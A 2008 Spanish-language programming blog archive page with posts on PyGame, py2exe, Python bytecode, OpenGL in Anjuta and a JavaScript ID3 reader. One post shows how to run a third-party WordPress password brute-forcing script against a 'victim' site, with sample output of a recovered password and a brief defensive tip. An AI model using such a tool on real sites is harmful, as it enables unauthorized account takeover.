Archive for the 'programacion' Category

25th Oct 2008

Documentacion PyGame

PyGame es un conjunto de módulos de python que nos permite desarrollar Video Juegos en 2D de forma rápida y sencilla.

También se ha usado para desarrollar aplicaciones multimedia dándole una elegancia profesional. Existen competencias en linea como la PyWeek donde los competidores tienen una semana completa para desarrollar un video-juego creativo y divertido.

Yo hace poco me uní a los fans de desarrollo de python, y desde hace pocos meses empece a usar PyGame, por lo que requería la poca documentación que existe en el sitio web oficial pero sin tener que estar conectado a Internet siempre.

Así que aquí pongo a su disposición la documentación actual.

Descargar Doc PyGame

Posted in CSS, GNU/linux, programacion, python, sobre el ITC, software libre | 1 Comment »

23rd Oct 2008

Python: Convertir Scripts .py a .exe

En el post anterior les mostré como generar un ByteCode de scripts de python en linux, pero para aquellos quienes programen python sobre windows, una alternativa comparable es py2exe.

Py2Exe es una herramienta que nos permite generar un archivo ejecutable (.exe).

En la pagina oficial de py2exe podremos encontrar la documentación necesaria para hacerlo.

Tambien existe una alternativa gráfica llamada GUI py2exe.

Enlaces:

Py2Exe

GUI Py2Exe

Posted in programacion, python, software libre | No Comments »

23rd Oct 2008

Compilar Python a ByteCode

La forma de correr un programa echo en python normalmente es como un script:

$ python programa.py

Pero existe la formar de obtener un ByteCode de python y obtener mejor rapidez en nuestras aplicaciones. Python está escrito en C, por lo que convertir un código de python a ByteCode resulta accesible, este ByteCode generado es puede ejecutarse gracias a CPython Interpreter.

La manera de hacerlo es la siguiente

1. Entramos al interprete de python.

$ python

2. Una vez dentro, importamos nuestro modulo a compilar

>>> import mimodulo

3. Ahora debemos importar una librería que nos permitirá compilar nuestro modulo ya importado

>>> import py_compile

4. Ejecutamos la función y compilamos.

>>> py_compile.compile("mimodulo.py")

5. Y listo. Ahora podemos correr nuestro programa ByteCode.

$ chmod +x mimodulo.pyc
$ ./mimodulo.pyc

Enlaces:

effbot.org

Posted in GNU/linux, programacion, python, sobre el ITC | 1 Comment »

08th Oct 2008

OpenGL en C + Anjuta + Linux

Algunos de nosotros nos gusta programar de vez en cuando en C, C++, y hay otros a quienes nos gusta hacerlo en un simple editor de texto.

Bien, para los que gustan de usar IDE’s al estilo Dev-C, en linux contamos con Anjuta, que nos proporciona una interfaz muy agradable y capas de personalizarse a través de plug-ins.

Para rematar, intentaremos programar algo con las librerías OpenGL.

Instalamos los compiladores necesarios para trabajar con C como lo son gcc, g++ y g77:

$ sudo apt-get install gcc g++ g77 make

Instalamos las librerías:

$ sudo apt-get install freeglut3 freeglut3-dbg freeglut3-dev

Instalamos Anjuta:

$ sudo apt-get install anjuta

Y listo, ahora, manos a la obra, abrimos Anjuta y empezamos a trabajar.

Abrimos Anjuta.

Creamos un nuevo proyecto :: Archivo->Nuevo->Proyecto

Del tipo C++ Genérico:

Llenamos los datos necesarios:

Le decimos el destino donde se guardara nuestro proyecto, así como decimos No al soporte para bibliotecas compartidas, internacionalización, y paquetes externos ya que todo esto lo podemos hacer trabajando sobre el proyecto:

Ya casi terminamos el proyecto. Solo confirmamos lo anterior:

Por último, solo falta decirle que editor nos gustaría utilizar para programar, en lo particular me gusta Scintilla.

Ahora si, a programar. En este caso, yo metí un código muy sencillo y traté de compilarlo, y esto fue lo que obtuve (pueden bajar el programa de aqui).

Es decir, no pude compilarlo “Completado incorrectamente”, el motivo es predecible, como estoy utilizando la librería GLUT de OpenGL, necesito indicarle al compilador que haga uso de ella. En modo consola solo escribíamos:

g++ -O programa.cc -o programa -lglut

Utilizando Anjuta es solo cuestión de indicarselo. Damos click en la pestaña Proyecto, luego click derecho sobre nuestro proyecto, propiedades y añadimos el argumento como se muestra en la imagen.

Ahora si, compilamos, y listo, vemos el resultado de nuestro trabajo.

Eso es todo, ahora podremos programar C/C++ en Anjuta sobre Linux.

Dudas y preguntas, por favor, comentenlas.

Posted in C, GNU/linux, codigos, programacion | 6 Comments »

24th Sep 2008

Fuerza Bruta a blogs Wordpress

Zerialkiller pone a disposición nuestra un script que por fuerza bruta permite obtener el password de los blogs montados sobre wordpress.

wp-bruteforce

Lo descargamos y le damos permisos de ejecución.

chmod +x wp-bruteforce

Nos hacemos de un diccionario de palabras y lo renombramos como bf_passwords. Ahora ejecutamos el script y nos pedirá la dirección de la victima.

lesthack@lesthack-laptop:~$ ./wp-bruteforcer
.::Wordpress BruteForce By 0x90::.
use a good dictioary rename it to bf_passwords
Enter website with full path to wordpress:
> http://blogwordpress.com/
trying password
trying password !
trying password !
trying password !!
trying password !!2004
trying password !@#$%
...
...
Bengo WebSite http://blogwordpress.com/ password is: 02032
Have Fun ;) 

Una forma de protegernos es no utilizar la cuenta por default llamada admin, y si lo hacemos, establecer un password de una longitud mayor a 12 caracteres, incluyendo letras, números y símbolos.

Via: ZerialKiller

Posted in bash, codigos, enlaces, hacking, programacion | 2 Comments »

24th Aug 2008

Lector ID3 para MP3 en Javascript

Dándome una vuelta por aniet2k me encontré con un script echo por nihilogic.dk para leer los tags de un archivo mp3 por medio de javascript, la cosa suena muy interesante, así que me puse a hacer unas pruebas, y realmente creo que le podemos sacar provecho.

Mi ejemplo :: http://util.inocorp.org/ID3/

Ejemplo de Nihilogic.dk :: http://www.nihilogic.dk/labs/id3/

Explicación:

Para poder utilizar la librería creada por Nihilogic.dk debemos saber que esta dividida en dos archivos, un binaryajax.js y un ID3.js, ambos muy importantes.

Código de mi Ejemplo.

JAVASCRIPT:
  1. var file = "colours.mp3";
  2.  
  3. function mycallback() {
  4.     var tags = ID3.getAllTags(file);
  5.     document.getElementById("artist").innerHTML = tags["artist"];
  6.     document.getElementById("title").innerHTML = tags["artist"];
  7.     document.getElementById("album").innerHTML = tags["album"];
  8.     document.getElementById("year").innerHTML = tags["year"];
  9.     document.getElementById("comment").innerHTML = tags["comment"];
  10.     document.getElementById("genre").innerHTML = tags["genre"];
  11.     document.getElementById("track").innerHTML = tags["track"];
  12. }
  13.  
  14. function PrintTagsMp3(){
  15.     ID3.loadTags(file, mycallback);
  16. }
  17.  
  18. function loadPage(){   
  19.     var lfile = document.getElementById("file");
  20.         lfile.innerHTML="<a href='" + file + "'>"+file+"</a>";
  21. }

Vemos una variable file que contendrá la ruta de nuestro archivo MP3. Tenemos tres funciones, loadPage simplemente nos pone en pantalla que archivo es el que se analizará. PrintTagsMp3 que es la función que se ejecutara para cargar las tags, y mycallback que llenara los datos. Simple !!

Al presionar click sobre el boton "cargar", se ejecuta la función PrintTagsMp3 que contiene a la instrucción ID3.loadTags(file, mycallback), que se encarga de cargar los tags del archivo, y cuando termine de cargarlos, ejecutara la funcion mycallback, como algo tipico de Ajax.

Posted in codigos, javascript, programacion, utilerias | No Comments »